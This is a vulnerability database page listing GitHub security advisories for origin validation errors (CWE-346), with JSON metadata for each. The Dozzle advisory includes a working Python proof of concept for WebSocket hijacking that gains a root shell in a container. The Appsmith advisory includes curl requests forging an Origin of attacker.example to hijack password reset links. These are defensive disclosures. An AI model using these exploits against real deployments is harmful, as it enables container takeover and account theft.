CWE-346
Allowed-with-ReviewOrigin Validation Error
Abstraction: Class · Status: Draft
The product does not properly verify that the source of data or communication is valid.
787 vulnerabilities reference this CWE, most recent first.
GHSA-J4Q3-CQ76-4P2R
Vulnerability from github – Published: 2023-05-08 21:31 – Updated: 2024-04-04 03:51This issue was addressed with improved state management. This issue is fixed in macOS Ventura 13.3, watchOS 9.4, tvOS 16.4, Safari 16.4, iOS 16.4 and iPadOS 16.4. Processing maliciously crafted web content may bypass Same Origin Policy
{
"affected": [],
"aliases": [
"CVE-2023-27932"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-08T20:15:17Z",
"severity": "MODERATE"
},
"details": "This issue was addressed with improved state management. This issue is fixed in macOS Ventura 13.3, watchOS 9.4, tvOS 16.4, Safari 16.4, iOS 16.4 and iPadOS 16.4. Processing maliciously crafted web content may bypass Same Origin Policy",
"id": "GHSA-j4q3-cq76-4p2r",
"modified": "2024-04-04T03:51:40Z",
"published": "2023-05-08T21:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27932"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00011.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202305-32"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213670"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213671"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213674"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213676"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213678"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J5G9-836M-J2RM
Vulnerability from github – Published: 2022-05-14 02:00 – Updated: 2022-05-14 02:00EPSON WF-2750 printers with firmware JP02I2 do not properly validate files before running updates, which allows remote attackers to cause a printer malfunction or send malicious data to the printer.
{
"affected": [],
"aliases": [
"CVE-2018-14903"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-30T17:29:00Z",
"severity": "HIGH"
},
"details": "EPSON WF-2750 printers with firmware JP02I2 do not properly validate files before running updates, which allows remote attackers to cause a printer malfunction or send malicious data to the printer.",
"id": "GHSA-j5g9-836m-j2rm",
"modified": "2022-05-14T02:00:52Z",
"published": "2022-05-14T02:00:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14903"
},
{
"type": "WEB",
"url": "https://www.vdalabs.com/2018/08/26/epson-printer-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J5MF-6RH3-RHGG
Vulnerability from github – Published: 2026-02-27 18:31 – Updated: 2026-03-01 01:26CleverTap Web SDK version 1.15.2 and earlier is vulnerable to Cross-site Scripting (XSS) via window.postMessage. The handleCustomHtmlPreviewPostMessageEvent function in src/util/campaignRender/nativeDisplay.js performs insufficient origin validation using the includes() method, which can be bypassed by an attacker using a subdomain.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "clevertap-web-sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26861"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-01T01:26:26Z",
"nvd_published_at": "2026-02-27T18:16:12Z",
"severity": "HIGH"
},
"details": "CleverTap Web SDK version 1.15.2 and earlier is vulnerable to Cross-site Scripting (XSS) via window.postMessage. The handleCustomHtmlPreviewPostMessageEvent function in src/util/campaignRender/nativeDisplay.js performs insufficient origin validation using the includes() method, which can be bypassed by an attacker using a subdomain.",
"id": "GHSA-j5mf-6rh3-rhgg",
"modified": "2026-03-01T01:26:26Z",
"published": "2026-02-27T18:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26861"
},
{
"type": "WEB",
"url": "https://github.com/CleverTap/clevertap-web-sdk/issues/424"
},
{
"type": "WEB",
"url": "https://github.com/CleverTap/clevertap-web-sdk/pull/417"
},
{
"type": "WEB",
"url": "https://github.com/CleverTap/clevertap-web-sdk/commit/84695b726a751614ddc3a4f71382c239c5833e03"
},
{
"type": "PACKAGE",
"url": "https://github.com/CleverTap/clevertap-web-sdk"
},
{
"type": "WEB",
"url": "https://github.com/CleverTap/clevertap-web-sdk/blob/cf1b65d/src/util/campaignRender/nativeDisplay.js#L118-L121"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "CleverTap Web SDK is vulnerable to DOM-based XSS via handleCustomHtmlPreviewPostMessageEvent function"
}
GHSA-J643-X8PV-8M67
Vulnerability from github – Published: 2026-05-11 14:07 – Updated: 2026-06-08 23:35Summary
The WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH) — even when authentication is properly configured.
An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.
Root cause
1. CheckOrigin bypassed (internal/web/terminal.go:15-21)
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool {
return true
},
}
The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return true removes the only server-side defense against CSWSH.
2. JWT cookie with SameSite=Lax (internal/web/auth.go:20-27)
http.SetCookie(w, &http.Cookie{
Name: "jwt",
Value: token,
HttpOnly: true,
Path: "/",
SameSite: http.SameSiteLaxMode,
Expires: expires,
})
SameSite operates at the site level (eTLD+1), not the origin level. A page on evil.example.com can make a WebSocket request to dozzle.example.com and the browser will attach the JWT cookie, because they share the same site (example.com). SameSite=Lax only blocks cross-site requests (different eTLD+1), not cross-origin requests within the same site.
Attack scenario
Preconditions: Dozzle is deployed with --enable-shell and authentication configured (simple auth). The victim is logged in.
- Attacker controls a page on the same site (e.g.,
attacker.example.com, or another service onlocalhost:8888while Dozzle is onlocalhost:9090) - Victim visits the attacker's page while authenticated to Dozzle
- Attacker's JavaScript opens
new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec') - Browser sends the JWT cookie (same-site,
SameSite=Laxallows it) - Dozzle's
CheckOriginreturnstrue— upgrade accepted - Auth middleware validates the JWT from the cookie — request authenticated
- Attacker has a shell in the victim's authorized containers
PoC (auth enabled)
Setup — Dozzle with authentication + shell:
docker-compose.yml:
services:
dozzle:
image: amir20/dozzle:latest
ports:
- "9090:8080"
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
- ./data:/data
environment:
- DOZZLE_AUTH_PROVIDER=simple
- DOZZLE_ENABLE_SHELL=true
target:
image: alpine:latest
command: sh -c "while true; do sleep 3600; done"
data/users.yml:
users:
admin:
name: Admin
# password: admin123
password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS"
email: admin@test.local
roles: shell
Exploit — CSWSH with cross-origin Origin header + victim's cookie:
import json, time, websocket, requests
target = "http://localhost:9090"
# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"
# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]
# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
if line and line.startswith("data: "):
data = json.loads(line[6:])
if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
host_id = data[0]["host"]
cid = data[0]["id"]
break
r.close()
# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
ws_url, timeout=10,
cookie=f"jwt={jwt}",
origin="http://localhost:8888" # DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request
ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()
ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
while True:
output.append(ws.recv())
except:
pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)
# Verify: without cookie = rejected
try:
ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
ws2.close()
except Exception as e:
print(f"Without cookie: {e}") # 401 Unauthorized
Result:
[+] Auth is ENABLED (events stream returns 401)
[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Without cookie -> 401 Unauthorized
Impact
Users who deploy Dozzle with --enable-shell and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:
- Execute arbitrary commands in any container the victim has access to
- Read secrets, environment variables, and files inside containers
- Pivot to other services accessible from the container network
- Potentially escape to the Docker host if the socket is mounted writable
Suggested fix
Remove the custom CheckOrigin override and use the gorilla/websocket default, which rejects cross-origin requests:
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
// Default CheckOrigin rejects cross-origin requests
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/amir20/dozzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "10.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44985"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T14:07:21Z",
"nvd_published_at": "2026-05-26T22:16:43Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (CSWSH) \u2014 **even when authentication is properly configured**.\n\nAn attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim\u0027s valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.\n\n## Root cause\n\n**1. CheckOrigin bypassed (`internal/web/terminal.go:15-21`)**\n\n```go\nvar upgrader = websocket.Upgrader{\n ReadBufferSize: 1024,\n WriteBufferSize: 1024,\n CheckOrigin: func(r *http.Request) bool {\n return true\n },\n}\n```\n\nThe gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return `true` removes the only server-side defense against CSWSH.\n\n**2. JWT cookie with SameSite=Lax (`internal/web/auth.go:20-27`)**\n\n```go\nhttp.SetCookie(w, \u0026http.Cookie{\n Name: \"jwt\",\n Value: token,\n HttpOnly: true,\n Path: \"/\",\n SameSite: http.SameSiteLaxMode,\n Expires: expires,\n})\n```\n\n`SameSite` operates at the **site** level (eTLD+1), not the origin level. A page on `evil.example.com` can make a WebSocket request to `dozzle.example.com` and the browser will attach the JWT cookie, because they share the same site (`example.com`). `SameSite=Lax` only blocks cross-**site** requests (different eTLD+1), not cross-**origin** requests within the same site.\n\n## Attack scenario\n\nPreconditions: Dozzle is deployed with `--enable-shell` and authentication configured (simple auth). The victim is logged in.\n\n1. Attacker controls a page on the same site (e.g., `attacker.example.com`, or another service on `localhost:8888` while Dozzle is on `localhost:9090`)\n2. Victim visits the attacker\u0027s page while authenticated to Dozzle\n3. Attacker\u0027s JavaScript opens `new WebSocket(\u0027wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec\u0027)`\n4. Browser sends the JWT cookie (same-site, `SameSite=Lax` allows it)\n5. Dozzle\u0027s `CheckOrigin` returns `true` \u2014 upgrade accepted\n6. Auth middleware validates the JWT from the cookie \u2014 request authenticated\n7. Attacker has a shell in the victim\u0027s authorized containers\n\n## PoC (auth enabled)\n\n**Setup \u2014 Dozzle with authentication + shell:**\n\ndocker-compose.yml:\n```yaml\nservices:\n dozzle:\n image: amir20/dozzle:latest\n ports:\n - \"9090:8080\"\n volumes:\n - /var/run/docker.sock:/var/run/docker.sock:ro\n - ./data:/data\n environment:\n - DOZZLE_AUTH_PROVIDER=simple\n - DOZZLE_ENABLE_SHELL=true\n\n target:\n image: alpine:latest\n command: sh -c \"while true; do sleep 3600; done\"\n```\n\ndata/users.yml:\n```yaml\nusers:\n admin:\n name: Admin\n # password: admin123\n password: \"$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS\"\n email: admin@test.local\n roles: shell\n```\n\n**Exploit \u2014 CSWSH with cross-origin Origin header + victim\u0027s cookie:**\n\n```python\nimport json, time, websocket, requests\n\ntarget = \"http://localhost:9090\"\n\n# Verify auth is enabled\nr = requests.get(f\"{target}/api/events/stream\", timeout=5, stream=True)\nr.close()\nassert r.status_code == 401, \"Auth not enabled\"\n\n# Victim logs in\nr = requests.post(f\"{target}/api/token\", data={\"username\": \"admin\", \"password\": \"admin123\"})\njwt = r.headers[\"Set-Cookie\"].split(\"jwt=\")[1].split(\";\")[0]\n\n# Get container info (authenticated)\nr = requests.get(f\"{target}/api/events/stream\", cookies={\"jwt\": jwt}, stream=True, timeout=10)\nfor line in r.iter_lines(decode_unicode=True):\n if line and line.startswith(\"data: \"):\n data = json.loads(line[6:])\n if isinstance(data, list) and len(data) \u003e 0 and \"host\" in data[0]:\n host_id = data[0][\"host\"]\n cid = data[0][\"id\"]\n break\nr.close()\n\n# CSWSH: cross-origin WebSocket with victim\u0027s cookie\nws_url = f\"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec\"\nws = websocket.create_connection(\n ws_url, timeout=10,\n cookie=f\"jwt={jwt}\",\n origin=\"http://localhost:8888\" # DIFFERENT origin\n)\n# Connected! CheckOrigin:true accepted the cross-origin request\n\nws.send(json.dumps({\"type\": \"resize\", \"width\": 120, \"height\": 40}))\ntime.sleep(1); ws.recv()\n\nws.send(json.dumps({\"type\": \"userinput\", \"data\": \"id\\n\"}))\ntime.sleep(2)\nws.settimeout(2)\noutput = []\ntry:\n while True:\n output.append(ws.recv())\nexcept:\n pass\nws.close()\nprint(\"\".join(output))\n# uid=0(root) gid=0(root) groups=0(root)\n\n# Verify: without cookie = rejected\ntry:\n ws2 = websocket.create_connection(ws_url, timeout=5, origin=\"http://localhost:8888\")\n ws2.close()\nexcept Exception as e:\n print(f\"Without cookie: {e}\") # 401 Unauthorized\n```\n\n**Result:**\n```\n[+] Auth is ENABLED (events stream returns 401)\n[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888\n[+] uid=0(root) gid=0(root) groups=0(root)\n[+] Without cookie -\u003e 401 Unauthorized\n```\n\n## Impact\n\nUsers who deploy Dozzle with `--enable-shell` and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:\n\n- Execute arbitrary commands in any container the victim has access to\n- Read secrets, environment variables, and files inside containers\n- Pivot to other services accessible from the container network\n- Potentially escape to the Docker host if the socket is mounted writable\n\n## Suggested fix\n\nRemove the custom `CheckOrigin` override and use the gorilla/websocket default, which rejects cross-origin requests:\n\n```go\nvar upgrader = websocket.Upgrader{\n ReadBufferSize: 1024,\n WriteBufferSize: 1024,\n // Default CheckOrigin rejects cross-origin requests\n}\n```",
"id": "GHSA-j643-x8pv-8m67",
"modified": "2026-06-08T23:35:14Z",
"published": "2026-05-11T14:07:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44985"
},
{
"type": "PACKAGE",
"url": "https://github.com/amir20/dozzle"
},
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dozzle\u0027s Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication"
}
GHSA-J665-28Q6-PWVC
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 15:32Inappropriate implementation in Downloads in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-11243"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-05T00:17:00Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Downloads in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-j665-28q6-pwvc",
"modified": "2026-06-05T15:32:20Z",
"published": "2026-06-05T00:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11243"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/497394061"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J77F-3HF7-7RVG
Vulnerability from github – Published: 2025-12-03 12:30 – Updated: 2026-04-20 15:31A flaw was found in WebKitGTK. This vulnerability allows remote, user-assisted information disclosure that can reveal any file the user is permitted to read via abusing the file drag-and-drop mechanism where WebKitGTK does not verify that drag operations originate from outside the browser.
{
"affected": [],
"aliases": [
"CVE-2025-13947"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-03T10:15:47Z",
"severity": "HIGH"
},
"details": "A flaw was found in WebKitGTK. This vulnerability allows remote, user-assisted information disclosure that can reveal any file the user is permitted to read via abusing the file drag-and-drop mechanism where WebKitGTK does not verify that drag operations originate from outside the browser.",
"id": "GHSA-j77f-3hf7-7rvg",
"modified": "2026-04-20T15:31:50Z",
"published": "2025-12-03T12:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13947"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:22789"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:22790"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23110"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23433"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23434"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23451"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23452"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23583"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23591"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23742"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23743"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-13947"
},
{
"type": "WEB",
"url": "https://bugs.webkit.org/show_bug.cgi?id=271957"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418576"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J8G2-W9R2-VFJ2
Vulnerability from github – Published: 2026-05-06 09:31 – Updated: 2026-05-06 09:31Vulnerability in the Oracle Macoron Tool product of Oracle Open Source Projects. The supported versions that is affected is v0.22.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Macaron Tool. Successful attacks of this vulnerability can result in Oracle Macaron Tool failing host address validation.
{
"affected": [],
"aliases": [
"CVE-2026-35253"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-06T08:16:03Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Macoron Tool product of Oracle Open Source Projects. The supported versions that is affected is v0.22.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Macaron Tool. Successful attacks of this vulnerability can result in Oracle Macaron Tool failing host address validation.",
"id": "GHSA-j8g2-w9r2-vfj2",
"modified": "2026-05-06T09:31:35Z",
"published": "2026-05-06T09:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35253"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/all-oracle-cves-outside-other-oracle-public-documents.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J8G4-QGJP-W2G8
Vulnerability from github – Published: 2023-10-23 15:30 – Updated: 2024-04-04 08:52The Zscaler Client Connector Installer and Unsintallers for Windows prior to 3.6 had an unquoted search path vulnerability. A local adversary may be able to execute code with SYSTEM privileges.
{
"affected": [],
"aliases": [
"CVE-2021-26735"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-428"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-23T14:15:09Z",
"severity": "HIGH"
},
"details": "The Zscaler Client Connector Installer and Unsintallers for Windows prior to 3.6 had an unquoted search path vulnerability. A local adversary may be able to execute code with SYSTEM privileges.\n\n\n\n\n\n",
"id": "GHSA-j8g4-qgjp-w2g8",
"modified": "2024-04-04T08:52:53Z",
"published": "2023-10-23T15:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26735"
},
{
"type": "WEB",
"url": "https://help.zscaler.com/zscaler-client-connector/client-connector-app-release-summary-2021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J8XR-5V62-3RX4
Vulnerability from github – Published: 2026-06-16 15:33 – Updated: 2026-06-16 21:31Same-origin policy bypass in the Networking: Cookies component. This vulnerability was fixed in Firefox 152 and Firefox ESR 140.12.
{
"affected": [],
"aliases": [
"CVE-2026-12304"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-16T13:16:30Z",
"severity": "CRITICAL"
},
"details": "Same-origin policy bypass in the Networking: Cookies component. This vulnerability was fixed in Firefox 152 and Firefox ESR 140.12.",
"id": "GHSA-j8xr-5v62-3rx4",
"modified": "2026-06-16T21:31:55Z",
"published": "2026-06-16T15:33:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12304"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2034944"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-57"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-58"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-60"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-61"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J9GF-VW2F-9HRW
Vulnerability from github – Published: 2026-06-12 18:28 – Updated: 2026-06-12 18:28Summary
A configuration-dependent origin validation bypass was identified in Appsmith’s password reset and email verification flows on current release.
Both flows derive the email-link base URL from the request Origin header. The current validation only enforces a trusted base URL when APPSMITH_BASE_URL is configured. If that setting is unset, the application accepts the caller-supplied origin and uses it to generate token-bearing reset and verification links.
On deployments with email delivery enabled and APPSMITH_BASE_URL unset, this can cause Appsmith to send security-sensitive links whose clickable host is attacker-controlled, which can plausibly lead to account takeover after victim interaction.
Details
The current release head at commit e77639eca4974469c1e676904851ffdaedd38111 was reviewed.
The relevant routes are publicly reachable in SecurityConfig.java:
POST /forgotPasswordis permitted without authentication at line209POST /resendEmailVerificationis permitted without authentication at line228
In UserControllerCE.java, both flows copy the request Origin header into the DTO field used as the email-link base URL:
forgotPasswordRequest(...)at lines91-94resendEmailVerification(...)at lines189-193
In UserServiceCEImpl.java, base URL validation is conditional:
@Value("${APPSMITH_BASE_URL:}")at line113resolveSecureBaseUrl(...)at lines132-145
That method explicitly documents and implements this behavior:
- if
APPSMITH_BASE_URLis configured, the provided URL must match it - if
APPSMITH_BASE_URLis unset, the provided URL is accepted for backward compatibility
The resulting base URL is then used to construct token-bearing links:
FORGOT_PASSWORD_CLIENT_URL_FORMATat line149- reset URL generation at lines
282-289 EMAIL_VERIFICATION_CLIENT_URL_FORMATat line152- verification URL generation at lines
931-940
This means the base URL is not only used for branding or display purposes. It directly controls the clickable host of security-sensitive reset and verification links.
Note that the admin UI describes APPSMITH_BASE_URL as required for password reset and email verification links in:
app/client/src/ce/pages/AdminSettings/config/configuration.tsxat lines41-49
The reviewed self-host material indicates this protection is not fail-closed by default, which makes the vulnerable condition realistic on existing deployments where operators have not set APPSMITH_BASE_URL.
PoC
These steps were designed for validation on an Appsmith deployment that I own or am explicitly authorized to test.
- Deploy a non-production Appsmith instance from current
release, or any build containing the affected code. - Enable outbound email delivery.
- Leave
APPSMITH_BASE_URLunset or blank. - Use a test mailbox account you control, for example
victim@example.test. - Send a password reset request with a forged
Originheader:
curl -i -X POST 'https://YOUR-INSTANCE/api/v1/users/forgotPassword' \
-H 'Content-Type: application/json' \
-H 'Origin: https://attacker.example' \
--data '{"email":"victim@example.test"}'
- Inspect the delivered email. If affected, the clickable reset link is generated under
https://attacker.example/...instead of the legitimate Appsmith host. - Repeat the same validation for resend email verification using an unverified test account:
curl -i -X POST 'https://YOUR-INSTANCE/api/v1/users/resendEmailVerification' \
-H 'Content-Type: application/json' \
-H 'Origin: https://attacker.example' \
--data '{"email":"victim@example.test"}'
- Inspect the delivered verification email. If affected, the clickable verification link is generated under
https://attacker.example/.... - Set
APPSMITH_BASE_URL=https://YOUR-INSTANCE, restart the server, and repeat the same requests. - The expected secure behavior is that mismatched
Originis rejected, or the generated links no longer follow the forged request header.
Live tokens, third-party data, or unsafe exploitation material was not included in this report. The attached archive contains source excerpts, data-flow proof, safe validation notes, and supporting evidence collected from the reviewed current branch.
Impact
This is a trust-boundary failure in token-bearing email authentication flows.
Affected deployments are those where:
APPSMITH_BASE_URLis unset or blank- outbound email is enabled
- password reset and/or email verification flows are enabled
Attacker requirements are low:
- no prior authentication is required to reach the relevant endpoints
- the attacker only needs to trigger an email flow toward a target account
Security impact:
- Appsmith can generate password reset or verification emails whose clickable host is attacker-controlled
- victim interaction can expose security-sensitive token material
- this can plausibly result in account takeover
- at minimum, it enables trusted-email abuse and phishing through the application itself
mitigation
- Remove the fallback behavior in
resolveSecureBaseUrl(...)that accepts caller-supplied origin data whenAPPSMITH_BASE_URLis unset. - Fail closed for all token-bearing email flows when no trusted base URL is configured.
- Use a single trusted-base-url helper across:
- password reset
- resend email verification
- invite flows
- instance admin invite flows
- Add regression tests for the unset-configuration case.
- Add startup or admin-level validation so security-sensitive email flows cannot operate until a trusted base URL is configured.
Attachment
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.appsmith:server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-807"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T18:28:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
